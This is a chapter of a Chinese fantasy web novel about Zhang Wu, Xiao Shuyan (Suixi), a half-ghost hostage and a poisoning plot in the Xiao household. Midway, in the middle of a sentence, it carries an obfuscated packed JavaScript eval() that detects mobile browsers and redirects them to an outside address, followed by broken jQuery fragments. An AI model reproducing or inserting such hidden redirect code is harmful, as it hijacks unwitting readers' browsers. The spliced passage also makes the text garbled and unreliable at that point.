“不患寡而患不均,众生和悦因斯乐。”萧舒延说,“父母对待孩子时也应该这般,当子嗣众多时,很难会有一碗水端平的,总会偏爱像自己的,偏爱小的,甚至偏爱出色的。但是不可能每一个孩子都如此这般,总会有难以察觉偏颇,往往在父母眼中的一些小事,会给子嗣留下深刻的疼痛。”
姜芜伸手抚过萧舒延的眉眼,笑着说:“是嘛,我总觉得你好似变了很多,之前你通常都是不在乎这些小事的,甚至不记在心中,觉得都是些不必要的东西,是累赘是负担,最近这是怎么了?”
萧舒延说:“因为你喜欢,所以我便尝试着去理解,这样便也能理解你有时所做何想了。”
姜芜笑容一僵,她看着萧舒延问道:“为何?你就没有喜欢的东西吗?除了以我为本位的东西。”
“都体验过了,但是和你一起总能发现新鲜有趣的东西。”萧舒延说,“生命之漫长,没有何物是一成不变的,唯有你是个意外,令我惊讶的意外。因为你,让我漫长又无聊的生命中变得有趣。”
“那我很开心。”姜芜抱着萧舒延收紧手臂,“但是,话又说回来,萧无祸那边你打算如何做?你应该很会解决调皮孩子的别扭心理吧?比如之前在教育我的时候。”
萧舒延摇了摇头,“那不重要,无祸那般认定便不会再改变心思了。他的妹妹远嫁冀州,母亲郁郁而终,不是三言两语便能解开他的心结的。”
姜芜问道:“这些都同萧魁有关吗?”
“萧家的情况很复杂。”
萧舒延说便拉着姜芜向外走去。
姜芜跟上萧舒延的步伐,有些不解地问道:“去哪里?”
萧舒延说:“带你去看看萧家。”
日头偏西,颜色昏黄,四季如春的荆州城被一层浓稠的蜜蜡包裹着,恍若凝滞了时间得到了永生。
寂满一脸生无可恋,他端着一碗米饭,用勺子盛了一勺菜,随意地搅拌了几下,然后端着饭碗走出了前堂。
宗华听到门响,睁开眼抬眸看去,只见寂满端了一碗还算丰盛的饭进来。
“吃饭吧。”
宗华看了看自己被捆起来的四肢,又抬眸看向寂满,愤愤地说:“你们把我绑成这样,想要我怎么吃饭?”
寂满挑眉,“你的嘴这不是还能用吗?怎么就不能吃饭了?”
宗华面色沉了下来,“我要告诉神仙姐姐!我是她的客人,她是来请我吃饭的!而你们却把我绑起来!还不让我离开!”
寂满继续胡搅蛮缠,“是啊,她没说这饭怎么吃啊,这一日三餐也没饿到你啊,你便知足吧,还神仙姐姐,她可是地狱里的修罗!”
宗华吃了瘪,他从未遇到过像寂满这般的人,一时之间不知晓该如何应对。
“快放我回去,我哥哥还在等我,要是让他发现你们把我绑起来了,他不会放过你们的。”
寂满不耐烦地啧了一声,“你哥哥谁啊,从应吧。你是不是觉得我们这种用人质威胁人的手段,特别的不光明不磊落,特别受人所不耻啊。”
宗华冷哼了一声,“你们知晓便好。”
“这句话我也原封不动的返还给你们兄弟二人?”寂满冷笑一声,“你就不曾想过,我们为什么要拿你来威胁你哥吗?我们大荒的妖,名声都是用拳头打出来的,才不屑于你们鬼族人的那些见不得人的手段。抓你来是因为你哥哥抓了我们的朋友,一个姑娘家,现下都没有任何下落,也不知道她有没有你这么舒服。”
宗华讶然,他看着寂满,支吾了片刻也不知晓该说什么。
寂满伸手拍了拍宗华的脸,“识相的,就赶紧传讯给你哥哥,让他把我们的朋友送回来!”
宗华瘪了瘪嘴,面色上带了几分歉意,气焰也消了下去,“我不知晓,我平时都是在后山的樱桃树下等我哥哥,我也不知晓该如何联系他。”
寂满质问道:“你不是鬼族人吗?你不会法术?”
宗华摇了摇头,语气低落,“我娘没教给我。”
寂满不解地观察着宗华,“真的假的?你真的不是鬼族人吗?你怎么不会法术?这种东西即便没有系统的修行,不应该也会一些基础的吗?”
宗华细声细气地说:“我不算鬼族人,我父亲是鬼族人……母亲是长灵族……”
寂满震惊地瞪大了双眸,“你你你你……半鬼半妖???真是神奇啊,居然还有你这种存在。”
宗华神情委屈,“怎么了?有什么问题吗?是不是这样我娘才封印了我们,又弄丢了妹妹,我们这种是不是不太受人待见?”
寂满沉思了片刻,接着他拍了拍宗华的肩膀,斩钉截铁地说:“不,每个人来到世界上都是独一无二的,既然降生了,就没有对错之分,不要管别人的看法,自己过得快乐舒心才最重要。刚才是我见识少,大惊小怪了。”
宗华双眸中闪过一丝光亮,“真的吗?”
寂满点了点头,眼神诚恳地说:“真的。”
商扶庭看着手中的蝶丝,抬眸对雾沅说:“就如此吧,他进门后便会蝶丝缠身,若想尽快脱身,只能动用戾气,届时便会触动符咒将他死死困住,而且会有大量的顒鸟精火喷薄而出,他想脱困,只能耗费时间,到时我们便已经离开荆州地界了。”
雾沅颔首,“好,你预备何事动手?”
商扶庭说:“腊月二十九夜吧,希望所有的事情在阖家团圆的除夕前能尘埃落定,顒鸟精火也比较容易控制。”
雾沅问道:“你打算如何避开姜芜,引睢羲出来?”
商扶庭如实道:“我并不打算避开姜芜,我预备放出风声,把姜芜是修罗的事情告诉其他人,由他们牵制姜芜。再以姜芜的名义引睢羲上钩,姜芜心善不会真的杀死他们,而以他们的修为也不会奈姜芜如何。”
雾沅面色凝重,“困住睢羲之事,你预备告知姜芜吗?”
商扶庭沉思了片刻,随后他抬眸看向前方,摇了摇头说:“不,不要告诉她,我怕多省事端,我们现下最主要的便是先找到沈确。”
雾沅若有所思地说:“昨夜姜芜的模样甚是可怖,我觉得还是找她确认一番,若是我们因此伤了睢羲,怕是姜芜那边会出差池。”
商扶庭看向雾沅,“你也觉得姜芜对睢羲的感情不一般?并不像她说的那么决绝?”
雾沅长长地叹了一息,“谁都不知晓姜芜真正的意思,只能说她的两头骗技术极其高超。”
商扶庭蹙眉,“她会骗我们吗?”
雾沅神情迷茫,“我并不知晓,但是现下我们只能相信她,依附强者,但五行道宗也要另作打算。即便是她不会骗我们,但也会瞒着我们,最起码目前来看,她瞒着我们的事情对我们并没有不利之处。”
商扶庭深深地吸了一口气,“我知晓了,有时间我会找她谈谈的。”
【祠堂】
姜芜看着萧氏列祖列宗的牌位,萧氏发展至此不过三百年的传承迭代,牌位由高到低,由老至新,摆放在木制的板柜上,萧魁的牌位摆放在靠前一排中间的位置,刻字清晰,描金笔迹还未干透。
“带我来看这个做何事?”
“你看这个。”
姜芜伸手接过萧舒延递过来的族谱,“这个有什么好看的吗?”
萧舒延说:“这里面便是萧家的秘密。”
“族谱中吗?”说完,姜芜便垂眸翻看起手中的族谱,这本族谱是近些年刚翻定过的,纸张崭新,墨迹清晰,翻看起来比较容易。
起初,姜芜并没有从族谱上看出端倪,随着近几代,她逐渐发现了萧氏开始近亲通婚,到了萧舒延这一代,萧魁与萧无祸的母亲萧筱已然是亲兄妹。
姜芜神情有些惊诧,“这……人族应该不兴这些吧?”
“确实不兴,这便是无祸不甘的原因,一对兄妹在家族逼迫下乱///伦的产物,让谁都会觉得不可思议。”萧舒延说,“萧魁本欲反抗家族,早早与一名女子未合籍便生下舒延,后又生下高瞻,被家族发现后,萧氏出手毁灭了舒延母亲所在的小门派。萧魁为保母子三人的性命,不得已才娶了无祸的母亲、他的亲妹妹萧筱。”
姜芜说:“萧无祸曾说他母亲无法与心爱之人长相守,这人是谁?”
“荆州城的幕僚,目前的管事秦铭。”
萧舒延突然感觉胸腔一阵不适应,他伸手扯了扯襟口,接着便喷出来一大口鲜血。
姜芜一惊,脸色瞬间惨白,她将手中的族谱丢置一旁,上前扶住了萧舒延摇摇欲坠的身体,“睢羲,你怎么样?”
【两个时辰前】
萧舒延在灵堂安置好萧魁的牌位,接过一旁婢子递上来的帕子,清理着手上的灰尘。
萧云快步走了进来,站在萧舒延身侧,出声道:“大人,秦管事请您过去。”
萧舒延应了一声,“马上。”
萧云面带愁容,“大人,你不怕其中有诈吗?”
萧舒延轻声一笑,他看着面前萧氏的列祖列宗,伸手拿了三柱线香,用戾气点燃后立在了香炉之中,桌上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382300|163894||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的排位均出现了不同程度的裂纹。
“不要受皮囊的限制。”萧舒延将手上的帕子递还给一旁的婢子,“走吧,去看看秦管事有何指教。”
萧云见状不解地问道:“大人不是受噬魂骨钉所制?”
萧舒延说:“只是隐秘了气息而已,对于我来说,噬魂骨钉并不能并限制我是用戾气。”
萧云神情担忧,“大人,这噬魂骨钉入体,怕是并不好受吧?”
萧舒延睨了萧云一眼,“一点必要的牺牲而已,勿要多嘴妄言。”
萧云屏住气息,“属下不敢。”
秦铭听着婢子的话,轻蔑地一笑,低头摆弄着手中的茶砖,“无知小儿,让他进来吧。”
婢子允诺一声,然后退了下去。
萧舒延进门,上前自然而然地接替过秦铭手中的茶具,“叔父,我来吧。”
秦铭笑得欣慰,“你们都是我从小看着长大的,这几个孩子中属你最听话懂事,如今萧城主故去,荆州放在你的手里,我是再放心不过了。”
萧舒延颔首,“以后还要多多仰仗叔父帮扶。”说完,他便将冲好的茶水分别倒在了秦铭和自己面前的茶杯中。
秦铭笑着说:“这是今年刚送进府的生普洱,尝尝。”
“叔父今日让我来怕不只是为了品茶吧。”萧舒延垂眸抿了口茶,“有何事直说便可,以后我不懂的地方,还需要秦叔父协助,若是叔父同我如此客气,怕是舒延愚钝,不懂叔父的意思。”
秦铭舒心一笑,“虽说重孝三年无喜事,但是如今你已经继任城主,也该做开枝散叶的准备了,你们兄弟三人膝下皆无所出,你看此事是否应该提上日程了?”
萧舒延说:“叔父也说了,重孝三年无喜事,此事再拖段时日吧,不急于一时半刻。”
秦铭颔首,“也好,你有孝心,这事我也只是提醒一二。听说昨夜有鬼族人来袭,府内耗损如何?”
“都已经妥善处置好了,还请叔父放心。”萧舒延抬眸看向秦铭,“只是昨夜无祸受了伤,不知叔父去看望过了吗?”
秦铭应了一声,“先不过去了,让他安心养伤,妺姑娘今夜估计便回来了,你身为大哥可要统筹好府内之事。”
“知晓了,那我便先下去准备。”说完,萧舒延起身告辞。
秦铭颔首,脸上的笑容随着萧舒延的转身而逐渐收敛,随后他招来一旁候着的婢子,“把这套茶具销毁了吧,莫要让人看出端倪,再去给我寻一套一模一样的回来。”
婢子领命,收拾了茶具以后退了出去。
【现时】
姜芜把萧舒延扶到了怀中,凝了几分戾气注入到了他的心口中,颤着手擦干净他唇间溢出来的鲜血,“睢羲?”
睢羲从祠堂外走进来,伸手按在了姜芜的肩上,“没事。”
姜芜倏地抬眸看向睢羲,心底松了口气,放开了萧舒延的身体,“到底发生何事了?”
睢羲伸手把姜芜扶了起来,用帕子擦干净她手上的血液,“一具尸体而已,不必如此紧张,让你受惊了。”
姜芜看着睢羲同萧舒延一样的衣裳,伸手隔着衣裳摸到他心口凹凸不平的伤痕,急切地问道:“这到底发生了何事?你若是用自己的身体,伤口岂不是腐化得更快?”
睢羲垂眸看着躺在地上毫无声息的萧舒延,抬手用戾气化解掉了那具尸体,解释道:“这具身体中毒太深已经不能用了,不必担心,往后我可以直接幻化成萧舒延的模样。我体内有噬魂骨钉压制,无事的。”
“为何会突然中毒?”姜芜问道,“你今日都见了谁?”
睢羲摸了摸姜芜的头发,“秦铭而已,他想要舒延死也不是一日两日了,不必在意。”
姜芜蹙眉,有些不解地看着睢羲,“所以萧无祸是秦铭的儿子吗?他想让自己的儿子当城主?”
睢羲垂眸看着姜芜,丝毫不意外后者会想到这一层,反而继续引诱道:“想知晓真相?”
姜芜点了点头。
“今夜一切便会明了,先去吃饭吧,时辰不早了。”睢羲顿了一瞬,随后看向姜芜,“今夜萧妺回来,便是萧无祸的胞妹。”
姜芜眉心微拢,“这萧魁真的很有先见之明,事先将女儿嫁了出去,否则按照萧氏这亲兄弟姐妹通婚的陋习,这女儿指不定要陷入怎样的水深火热之中。”
睢羲把姜芜拢进怀中,拍着她的肩背安抚着她受惊的情绪,“你难道不想知晓他们近亲通婚的缘由吗?”
“是什么?”